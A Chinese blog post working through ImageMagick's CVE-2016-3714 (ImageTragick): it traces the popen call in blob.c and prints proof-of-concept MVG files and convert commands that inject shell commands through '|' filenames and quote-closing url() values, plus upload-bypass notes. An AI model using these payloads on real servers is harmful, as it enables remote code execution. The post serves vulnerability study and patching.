CVE-2016-3714 ImageTragick

本文最后更新于:3 年前

漏洞应急响应的第一个练习
ImageMagick 作为一个著名的图像处理库,被爆出了严重的安全漏洞,该漏洞被称之为“ImageTragick”,CVE 编号是 CVE-2016-3714

ImageMagick 简介

ImageMagick 是除了 GD 之外使用最多的图像处理库,被广泛用于各种语言的图像处理,比如 PHP、Java、Python、Ruby 等等。许多开源软件,比如 WordPress、Drupal、Discuz 等都使用了它的图像处理功能。

响应过程

原理分析

拿到 CVE 号了之后,先看了一下它的介绍,然后就开始安装 ImageMagick,其实 ubuntu 已经自带了,只不过版本不符合。没意识到这个问题,直接装了旧版本,然后鬼使神差地又去装 php 对 ImageMagick 的支持——Imagick,其实根本没有必要。。安装 Imagick 花费了大量的时间(因为旧版新版共存,Imagic 识别总是新版,刚了很久)。后来意识到 CVE 的描述里压根没提 Imagick,遂醒悟。这里获得第一个教训:要明确影响的是什么。

卸载了新版之后,留下的是 6.9.2-10。然后想的是,既然要出 poc,肯定要会用这个东西,否则怎么刚源码、知道漏洞在哪?于是在官网找了一些例子试着运行了一下,大概了解了一下。

然后开始头铁,直接刚源码,连入口都不知道,瞎看了一会,由于之前刚 Imagick 心情烦躁,关了电脑冷静思考了一会:既然是 rce,那么如果不是溢出之类的问题的话,应该要有 popen 之类的函数。然后结合之前运行例子的时候发现若文件不存在的时候,会报错:

1
convert: unable to open image `1.png': 没有那个文件或目录 @ error/blob.c/OpenBlob/2703.

所以推测 blob.c 应该是入口,看了一下 blob.c(./magick 下),搜索 popen,发现重要函数 popen_utf8
image->blob->file_info.file=(FILE *) popen_utf8(filename+1,mode);

这个函数在哪呢?grep 一下看看:

p1

./utility-private.h 中定义了,且:
return(popen(command,type));

那么也就意味着,精心构造一个文件名让代码走到这里,就可以在这发生执行。

回到之前的 popen_utf8,参数是什么呢?filename+1mode,其中,filename 是要构造的,mode 随他去吧。往上看,filename 是指针,而且,要执行 popen_utf8 必须过 if (*filename == '|'),再往上一层就是 OpenBlob 的定义了。综上,filename 的第一个字符必须为 |,然后后面的代码就可以执行:convert "|ls > 1.txt" 1.png

到此,已经证实 ImageMagick v<6.9.3-9 的版本存在 RCE。但是睡了一觉后得有点问题,CVE 里特别提到了 (1) EPHEMERAL, (2) HTTPS, (3) MVG, (4) MSL, (5) TEXT, (6) SHOW, (7) WIN, and (8) PLT 这些东西,貌似和我发现的并没有关系。然后下载了一个 ImageMagick-6.9.5-10,用 diff 了一下./magick 的所有代码,多的吐血。。然后鸡汁地想到了先在 gayhub 传 6.9.2-10,再传 6.9.5-10 的./magick。之后再看差别。在此处发现了:

p2

于是更加确认 CVE 说的就是这里啦。但是 MVG 之类的究竟是什么玩意呢?搜了一下可以用它自定义的代码来画图:

MVG Overview

比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
push graphic-context
viewbox 0 0 624 369
affine 0.283636 0 0 0.283846 -0 -0
push graphic-context
push graphic-context
fill 'darkslateblue'
stroke 'blue'
stroke-width 1
rectangle 1,1 2199,1299
pop graphic-context
push graphic-context
font-size 40
fill 'white'
stroke-width 1
text 600,1100 'Average: 20.0'
pop graphic-context
push graphic-context
fill 'red'
stroke 'black'
stroke-width 5
path 'M700.0,600.0 L340.0,600.0 A360.0,360.0 0 0,1 408.1452123287954,389.2376150414973 z'
pop graphic-context
push graphic-context
font-size 40
fill 'white'
stroke-width 1
text 1400,140 'MagickWand for PHP'
pop graphic-context
push graphic-context
font-size 30
fill 'white'
stroke-width 1
text 1800,140 '(10.0%)'
pop graphic-context
push graphic-context
fill 'red'
stroke 'black'
stroke-width 4
rectangle 1330,100 1370,140
pop graphic-context
push graphic-context
fill 'yellow'
stroke 'black'
stroke-width 5
path 'M700.0,600.0 L408.1452123287954,389.2376150414973 A360.0,360.0 0 0,1 976.5894480359858,369.56936567559273 z'
pop graphic-context
push graphic-context
font-size 40
fill 'white'
stroke-width 1
text 1400,220 'MagickCore'
pop graphic-context
push graphic-context
font-size 30
fill 'white'
stroke-width 1
text 1800,220 '(29.0%)'
pop graphic-context
push graphic-context
fill 'yellow'
stroke 'black'
stroke-width 4
rectangle 1330,180 1370,220
pop graphic-context
push graphic-context
fill 'fuchsia'
stroke 'black'
stroke-width 5
path 'M700.0,600.0 L976.5894480359858,369.56936567559273 A360.0,360.0 0 0,1 964.2680466142854,844.4634932636567 z'
pop graphic-context
push graphic-context
font-size 40
fill 'white'
stroke-width 1
text 1400,300 'MagickWand'
pop graphic-context
push graphic-context
font-size 30
fill 'white'
stroke-width 1
text 1800,300 '(22.9%)'
pop graphic-context
push graphic-context
fill 'fuchsia'
stroke 'black'
stroke-width 4
rectangle 1330,260 1370,300
pop graphic-context
push graphic-context
fill 'blue'
stroke 'black'
stroke-width 5
path 'M700.0,600.0 L964.2680466142854,844.4634932636567 A360.0,360.0 0 0,1 757.853099990584,955.3210081341651 z'
pop graphic-context
push graphic-context
font-size 40
fill 'white'
stroke-width 1
text 1400,380 'JMagick'
pop graphic-context
push graphic-context
font-size 30
fill 'white'
stroke-width 1
text 1800,380 '(10.6%)'
pop graphic-context
push graphic-context
fill 'blue'
stroke 'black'
stroke-width 4
rectangle 1330,340 1370,380
pop graphic-context
push graphic-context
fill 'lime'
stroke 'black'
stroke-width 5
path 'M700.0,600.0 L757.853099990584,955.3210081341651 A360.0,360.0 0 0,1 340.0,600.0 z'
pop graphic-context
push graphic-context
font-size 40
fill 'white'
stroke-width 1
text 1400,460 'Magick++'
pop graphic-context
push graphic-context
font-size 30
fill 'white'
stroke-width 1
text 1800,460 '(27.5%)'
pop graphic-context
push graphic-context
fill 'lime'
stroke 'black'
stroke-width 4
rectangle 1330,420 1370,460
pop graphic-context
push graphic-context
font-size 100
fill 'white'
stroke-width 1
text 100,150 'ImageMagick'
pop graphic-context
push graphic-context
fill 'none'
stroke 'black'
stroke-width 5
circle 700,600 700,960
pop graphic-context
pop graphic-context
pop graphic-context

然后 convert mvg:piechart.mvg piechart.png

可以画一个这样的图:

example

差不多搞定了, 高高兴兴地去看别人写的分析, 结果发现 CVE 指的漏洞居然不是这个地方, poc 如下:
(一个文件内填充以下字符命名为 .mvg 格式)

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"ls "-la)'
pop graphic-context

p3

醉了, 这明显是闭合引号导致的注入.
贴 2 篇文章, 讲的都很好:

freebuf

青藤

那么问题来了, 我发现的漏洞不会是新的 cve 吧? 那岂不是美滋滋.

ImageMagick 另一个命令执行

…告辞

利用场景

网站使用受影响版本的 imagemagick, 且恶意文件能够成功上传至后台, 被 imagemagick 解析.
恶意文件后缀特别灵活, 不仅限于图片类型, 所以过黑名单毫无压力.
所以利用场景是很多的, 是一个好洞

POC & EXP

CVE-2016-3714 和 我发现的 imagemagick 另一处漏洞利用起来很相似, 放在一起说吧

根据这个文档的说明,我们可以把 payload 藏在 mvg 里:

1
2
3
4
push graphic-context
viewbox 0 0 624 369
image src 0 0 100 100 '|ls > 1.txt'
pop graphic-context

用到了 image 这个原语(Primitive),组件(compose)为 src

然后 convert mvg:1.mvg r.png 即可执行

那么问题来了,网站一定会用 mvg 这个组件吗?其实无所谓,imagemagick 的 convert 在遇到 mvg 语法的时候会把传入的任意文件当作 mvg 代码执行(摊手):

convert mvg:1.balabala r.png

甚至:

convert 1.balabala r.png

都可以执行代码。这样,可利用场景就丰富了很多很多。

其他原语也可以:

1
2
3
4
push graphic-context
viewbox 0 0 624 369
fill url(#|ls > 1.txt)
pop graphic-context

在网上还看到一种利用 ImageMagick 漏洞绕过 disable_function 的姿势, 记录在此

修复方案

升级最新版本的 ImageMagick, 同时做好文件名的过滤, 上白名单.

后记

这个漏洞的利用方式真是无比简单…做开发真难啊

同时它也给了我们提示, 使用危险函数时候一定要谨慎再谨慎, 同时, 也不要过于相信第三方的插件有多安全, 该限制的地方一定要限制死.

什么复现漏洞能发现另一个隐藏的 cve, 那就赚大发咯


来呀快活呀